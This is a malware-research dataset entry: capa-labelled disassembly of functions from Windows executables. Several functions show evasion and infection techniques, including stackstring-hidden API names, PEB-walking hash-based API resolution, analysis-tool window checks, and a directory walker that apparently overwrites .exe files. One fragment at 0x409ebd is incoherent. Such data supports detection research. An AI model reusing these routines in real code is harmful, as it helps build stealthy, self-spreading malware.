joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4c6c30
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov byte [ebp - 0x18], 0x43
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0x61
mov byte [ebp - 0x14], 0x74
mov byte [ebp - 0x13], 0x65
mov byte [ebp - 0x12], 0x46
mov byte [ebp - 0x11], 0x69
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x41
mov byte [ebp - 0xd], 0
mov byte [ebp - 0xc], 0x57
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x69
mov byte [ebp - 9], 0x74
mov byte [ebp - 8], 0x65
mov byte [ebp - 7], 0x46
mov byte [ebp - 6], 0x69
mov byte [ebp - 5], 0x6c
mov byte [ebp - 4], 0x65
mov byte [ebp - 3], 0
mov byte [ebp - 0x2c], 0x43
mov byte [ebp - 0x2b], 0x6c
mov byte [ebp - 0x2a], 0x6f
mov byte [ebp - 0x29], 0x73
mov byte [ebp - 0x28], 0x65
mov byte [ebp - 0x27], 0x48
mov byte [ebp - 0x26], 0x61
mov byte [ebp - 0x25], 0x6e
mov byte [ebp - 0x24], 0x64
mov byte [ebp - 0x23], 0x6c
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0
lea eax, [ebp - 0x18]
push eax
call fcn.004c6a30
add esp, 4
mov dword [ebp - 0x34], eax
lea ecx, [ebp - 0xc]
push ecx
call fcn.004c6a30
add esp, 4
mov dword [ebp - 0x30], eax
lea edx, [ebp - 0x2c]
push edx
call fcn.004c6a30
add esp, 4
mov dword [ebp - 0x1c], eax
push 0
push 0x80
push 4
push 0
push 1
push 0x10000000
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x34]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffff
jne 0x4c6d11
xor al, al
jmp 0x4c6d36
mov dword [ebp - 0x38], 0
push 0
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
call dword [ebp - 0x30]
mov edx, dword [ebp - 0x20]
push edx
call dword [ebp - 0x1c]
mov al, 1
mov esp, ebp
pop ebp
ret

Function at 0x4d7ac0
Capabilities:
Hash data using rshash

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0x5c6b7
mov dword [ebp - 4], 0xf8c9
mov dword [ebp - 0xc], 0
mov eax, dword [ebp + 8]
movsx ecx, byte [eax]
test ecx, ecx
je 0x4d7b38
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
cmp eax, 0x41
jl 0x4d7b11
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x5a
jg 0x4d7b11
mov eax, dword [ebp - 0xc]
imul eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
lea eax, [eax + edx + 0x20]
mov dword [ebp - 0xc], eax
jmp 0x4d7b23
mov ecx, dword [ebp - 0xc]
imul ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
movsx eax, byte [edx]
add ecx, eax
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 4]
imul ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 8]
add edx, 1
mov dword [ebp + 8], edx
jmp 0x4d7adb
mov eax, dword [ebp - 0xc]
and eax, 0x7fffffff
mov esp, ebp
pop ebp
ret
Function at 0x4d7b50
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x78]
mov dword [ebp - 8], ecx
mov dword [ebp - 0x10], 1
jmp 0x4d7b86
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [eax + 0x14]
jae 0x4d7be4
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x20]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 8]
add edx, dword [eax + ecx*4]
push edx
call fcn.004d7ac0
add esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 0xc]
jne 0x4d7be2
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x24]
mov eax, dword [ebp - 0x10]
mov cx, word [edx + eax*2]
mov word [ebp - 0x18], cx
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x1c]
movzx ecx, word [ebp - 0x18]
mov edx, dword [ebp + 8]
add edx, dword [eax + ecx*4]
mov eax, edx
jmp 0x4d7be6
jmp 0x4d7b7d
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x4d7bf0
Capabilities:
Access peb ldr_data
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x6e
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x6c
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x64
mov byte [ebp - 6], 0x6c
mov byte [ebp - 5], 0x6c
mov byte [ebp - 4], 0
push ebx
push ecx
mov ebx, dword fs:[0x30]
mov ecx, dword [ebx + 0xc]
mov ecx, dword [ecx + 0x1c]
mov ecx, dword [ecx]
mov eax, dword [ecx + 8]
mov dword [ebp - 0x14], eax
pop ecx
pop ebx
push 0x3777cccb
mov eax, dword [ebp - 0x14]
push eax
call fcn.004d7b50
add esp, 8
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x10]
push ecx
call dword [ebp - 0x18]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4d7d70
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov byte [ebp - 0x24], 0x47
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x53
mov byte [ebp - 0x20], 0x79
mov byte [ebp - 0x1f], 0x73
mov byte [ebp - 0x1e], 0x74
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x6d
mov byte [ebp - 0x1b], 0x44
mov byte [ebp - 0x1a], 0x69
mov byte [ebp - 0x19], 0x72
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x63
mov byte [ebp - 0x16], 0x74
mov byte [ebp - 0x15], 0x6f
mov byte [ebp - 0x14], 0x72
mov byte [ebp - 0x13], 0x79
mov byte [ebp - 0x12], 0x41
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x24]
push eax
call fcn.004d7e80
add esp, 4
mov dword [ebp - 0x10], eax
push 0x1c368da0
call fcn.004d7c70
add esp, 4
mov dword [ebp - 0xc], eax
push 0x104
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 0x10]
mov edx, dword [ebp + 8]
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0x3c]
add eax, 1
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x3c]
mov dl, byte [ecx]
mov byte [ebp - 0x41], dl
add dword [ebp - 0x3c], 1
cmp byte [ebp - 0x41], 0
jne 0x4d7e00
mov eax, dword [ebp - 0x3c]
sub eax, dword [ebp - 0x40]
mov dword [ebp - 0x48], eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x48]
mov byte [ecx - 2], 0
push 0x100050f0
mov edx, dword [ebp + 8]
push edx
call fcn.004d7d00
add esp, 8
call dword [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x38]
push eax
call fcn.004d7a50
add esp, 0xc
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.004d7d00
add esp, 8
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x65
mov byte [ebp - 6], 0x78
mov byte [ebp - 5], 0x65
mov byte [ebp - 4], 0
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.004d7d00
add esp, 8
mov esp, ebp
pop ebp
ret
Function at 0x4d7fe0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x174
push 0x74e3bb2e
call fcn.004d7c70
add esp, 4
mov dword [ebp - 0x16c], eax
push 0x3749ca10
call fcn.004d7c70
add esp, 4
mov dword [ebp - 0x14], eax
push 0x49f43cb7
call fcn.004d7c70
add esp, 4
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x28], 0x23ec5044
mov dword [ebp - 0x24], 0x33af2093
push 0
push 2
call dword [ebp - 0x16c]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x158], 0x128
lea eax, [ebp - 0x158]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [ebp - 0x14]
mov byte [ebp - 0xc], 0x75
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x65
mov byte [ebp - 9], 0x72
mov byte [ebp - 8], 0x33
mov byte [ebp - 7], 0x32
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x64
mov byte [ebp - 4], 0x6c
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0
lea edx, [ebp - 0xc]
push edx
call dword [0x10005040]
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0
jne 0x4d80a7
lea eax, [ebp - 0xc]
push eax
call dword [0x10005038]
mov dword [ebp - 0x168], eax
mov byte [ebp - 0x164], 0x45
mov byte [ebp - 0x163], 0x6e
mov byte [ebp - 0x162], 0x75
mov byte [ebp - 0x161], 0x6d
mov byte [ebp - 0x160], 0x57
mov byte [ebp - 0x15f], 0x69
mov byte [ebp - 0x15e], 0x6e
mov byte [ebp - 0x15d], 0x64
mov byte [ebp - 0x15c], 0x6f
mov byte [ebp - 0x15b], 0x77
mov byte [ebp - 0x15a], 0x73
mov byte [ebp - 0x159], 0
lea ecx, [ebp - 0x164]
push ecx
mov edx, dword [ebp - 0x168]
push edx
call dword [0x10005080]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x150]
push ecx
call fcn.004d7eb0
add esp, 8
test eax, eax
je 0x4d8191
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp - 0x150]
push eax
call fcn.004d7eb0
add esp, 8
test eax, eax
je 0x4d8191
lea ecx, [ebp - 0x134]
push ecx
push 0x100050d0
call dword [0x1000507c]
test eax, eax
je 0x4d8191
mov dword [0x10007128], 0
mov edx, dword [ebp - 0x150]
mov dword [ebp - 0x174], edx
lea eax, [ebp - 0x174]
push eax
push 0x10001550
call dword [ebp - 0x10]
cmp dword [0x10007128], 0xa
jbe 0x4d818d
mov eax, 1
jmp 0x4d81f3
xor eax, eax
jmp 0x4d81f3
lea ecx, [ebp - 0x158]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
call dword [ebp - 0x170]
test eax, eax
jne 0x4d8112
mov byte [ebp - 0x20], 0x4d
mov byte [ebp - 0x1f], 0x69
mov byte [ebp - 0x1e], 0x6e
mov byte [ebp - 0x1d], 0x69
mov byte [ebp - 0x1c], 0x53
mov byte [ebp - 0x1b], 0x6e
mov byte [ebp - 0x1a], 0x69
mov byte [ebp - 0x19], 0x66
mov byte [ebp - 0x18], 0x66
mov byte [ebp - 0x17], 0x65
mov byte [ebp - 0x16], 0x72
mov byte [ebp - 0x15], 0
lea eax, [ebp - 0x20]
push eax
push 0
call dword [0x10005098]
test eax, eax
je 0x4d81f1
mov eax, 1
jmp 0x4d81f3
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4da350
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x698
push 0x40566d67
call fcn.004d7c70
add esp, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [0x10005088]
push 0x100050b0
lea edx, [ebp - 0x110]
push edx
call fcn.004d7d00
add esp, 8
lea eax, [ebp - 0x250]
push eax
lea ecx, [ebp - 0x110]
push ecx
call dword [0x1000502c]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x4da3b0
jmp 0x4da605
cmp dword [ebp - 0x250], 0x10
jne 0x4da41f
movsx edx, byte [ebp - 0x224]
cmp edx, 0x2e
je 0x4da41f
mov byte [ebp - 0x254], 0x5c
mov byte [ebp - 0x253], 0
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x360]
push ecx
call dword [0x10005088]
lea edx, [ebp - 0x254]
push edx
lea eax, [ebp - 0x360]
push eax
call fcn.004d7d00
add esp, 8
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp - 0x360]
push edx
call fcn.004d7d00
add esp, 8
lea eax, [ebp - 0x360]
push eax
call fcn.004da350
add esp, 4
push 0x100050b8
lea ecx, [ebp - 0x224]
push ecx
call fcn.004d9900
add esp, 8
test eax, eax
je 0x4da4a5
lea edx, [ebp - 0x224]
push edx
call dword [0x10005084]
movsx eax, byte [ebp + eax - 0x225]
cmp eax, 0x74
jne 0x4da4a5
mov byte [ebp - 0x46c], 0x5c
mov byte [ebp - 0x46b], 0
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x468]
push edx
call dword [0x10005088]
lea eax, [ebp - 0x46c]
push eax
lea ecx, [ebp - 0x468]
push ecx
call dword [0x10005028]
lea edx, [ebp - 0x224]
push edx
lea eax, [ebp - 0x468]
push eax
call dword [0x10005028]
lea ecx, [ebp - 0x468]
push ecx
call dword [0x10005064]
push 0x100050c0
lea edx, [ebp - 0x224]
push edx
call fcn.004d9900
add esp, 8
test eax, eax
je 0x4da5e2
lea eax, [ebp - 0x224]
push eax
call dword [0x10005084]
movsx ecx, byte [ebp + eax - 0x225]
cmp ecx, 0x65
jne 0x4da5e2
mov byte [ebp - 0x57c], 0x5c
mov byte [ebp - 0x57b], 0
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x578]
push eax
call dword [0x10005088]
lea ecx, [ebp - 0x57c]
push ecx
lea edx, [ebp - 0x578]
push edx
call fcn.004d7d00
add esp, 8
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x578]
push ecx
call fcn.004d7d00
add esp, 8
push 0
lea edx, [ebp - 0x578]
push edx
call fcn.004d9960
add esp, 8
movzx eax, al
test eax, eax
je 0x4da5e2
push 0x104
lea ecx, [ebp - 0x698]
push ecx
call dword [0x10005024]
mov byte [ebp - 0x58c], 0x5c
mov byte [ebp - 0x58b], 0x5c
mov byte [ebp - 0x58a], 0x73
mov byte [ebp - 0x589], 0x79
mov byte [ebp - 0x588], 0x73
mov byte [ebp - 0x587], 0x74
mov byte [ebp - 0x586], 0x65
mov byte [ebp - 0x585], 0x6d
mov byte [ebp - 0x584], 0x2e
mov byte [ebp - 0x583], 0x65
mov byte [ebp - 0x582], 0x78
mov byte [ebp - 0x581], 0x65
mov byte [ebp - 0x580], 0
lea edx, [ebp - 0x58c]
push edx
lea eax, [ebp - 0x698]
push eax
call dword [0x10005028]
lea ecx, [ebp - 0x698]
push ecx
lea edx, [ebp - 0x578]
push edx
call fcn.004d9960
add esp, 8
push 0x64
call dword [ebp - 4]
lea eax, [ebp - 0x250]
push eax
mov ecx, dword [ebp - 8]
push ecx
call dword [0x1000503c]
test eax, eax
jne 0x4da3b0
mov edx, dword [ebp - 8]
push edx
call dword [0x1000505c]
mov esp, ebp
pop ebp
ret
Function at 0x414f34
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x415009
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x415024
push ebx
push 0x415034
push esi
lea eax, [ebp - 4]
mov edx, 4
call fcn.00405370
lea eax, [ebp - 0x48]
xor ecx, ecx
mov edx, 0x44
call fcn.00403270
mov dword [ebp - 0x48], 0x44
lea eax, [ebp - 0x58]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404f58
push eax
push 0
call sub.kernel32.dll_CreateProcessW
test eax, eax
jne 0x414fb4
mov al, 0x69
call fcn.00414bac
mov eax, dword [ebp - 0x54]
push eax
call sub.kernel32.dll_CloseHandle_1
call fcn.00414f08
push 0xff
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x58]
push eax
push 1
call sub.user32.dll_MsgWaitForMultipleObjects
cmp eax, 1
je 0x414fbd
call fcn.00414f08
push edi
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x58]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x415010
lea eax, [ebp - 4]
call fcn.00404ebc
ret

Function at 0x415124
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo_1
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x4151ef
jmp 0x4151e3
cmp dword [esi + 0x10], 0x1000
jne 0x4151cf
test byte [esi + 0x15], 1
jne 0x4151cf
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x415180
cmp ebp, 2
je 0x415180
cmp ebp, 0x10
je 0x415180
cmp ebp, 0x20
jne 0x41519c
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x41519c
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4151ad
mov eax, dword [esi]
add eax, ebx
call fcn.0041511c
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4151a0
cmp byte [esp + 4], 0
je 0x4151cf
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery_1
test eax, eax
je 0x4151ef
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x415155
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x409ebd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x409ebd
lcall 0x5de5, 0x8b10c483
jmp fcn.0076d6b4
Function at 0x4030e8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x4b5020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x403180
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403160
xor eax, eax
push ebp
push 0x403159
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40319c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403160
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x4b5020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x4b5020], ax
mov esp, ebp
pop ebp
ret

Function at 0x403e8c
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4b804c], 0
je 0x403eed
cmp word [0x4b8220], 0xd7b2
jne 0x403eb5
cmp dword [0x4b8228], 0
jbe 0x403eb5
mov eax, 0x4b821c
call dword [0x4b8238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x4b506c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x403f14
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x4b5030], 0
jne 0x403f09
push 0
push 0x4b5064
push 0x4b506c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x406134
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x40619a
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404278
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402cac
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x406184
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4061a1
lea eax, [ebp - 0x10]
call fcn.00404008
ret

Function at 0x40bd64
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40bd9d
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004040f8
jmp 0x40bda6
mov eax, ebx
mov edx, esi
call fcn.0040405c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40bdb0
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40bdd1
mov al, byte [esp]
jmp 0x40bdd3
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40c458
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40c2d0
mov eax, dword [0x4b7648]
cmp byte [eax], 0
je 0x40c4d4
mov eax, dword [0x4b72f4]
call fcn.00402a70
call fcn.004028e0
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00408f28
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40c51c
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40c50a
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4b7280]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4b8668]
call fcn.00405648
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40cddc
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40ceb2
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.004040a0
lea eax, [ebp - 8]
call fcn.00404518
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004044c8
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40ce9c
mov eax, ebx
call fcn.00402778
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40ce95
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.004044c8
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40ce7f
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40cec4
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40ce7f
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ce9c
mov eax, dword [ebp - 0x10]
call fcn.00402798
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ceb9
lea eax, [ebp - 8]
call fcn.00404008
ret

Function at 0x40d484
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40d4e8
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404278
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00408944
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40d4ef
lea eax, [ebp - 0xc]
call fcn.00404008
ret

Function at 0x425538
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4b8888
cmp dword [edi], 0
jne 0x4255b4
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x4b8884]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x4b55d0
mov ecx, 2
call fcn.00402974
mov edx, 0x425510
lea eax, [esi + 5]
call fcn.00425530
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00425530
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x425589
mov dword [0x4b8884], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x426b60
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x426b66
ret
Function at 0x429240
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x429291
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x429278
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x429268
jmp 0x429291
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x429279
pop ebx
mov esp, ebp
pop ebp
ret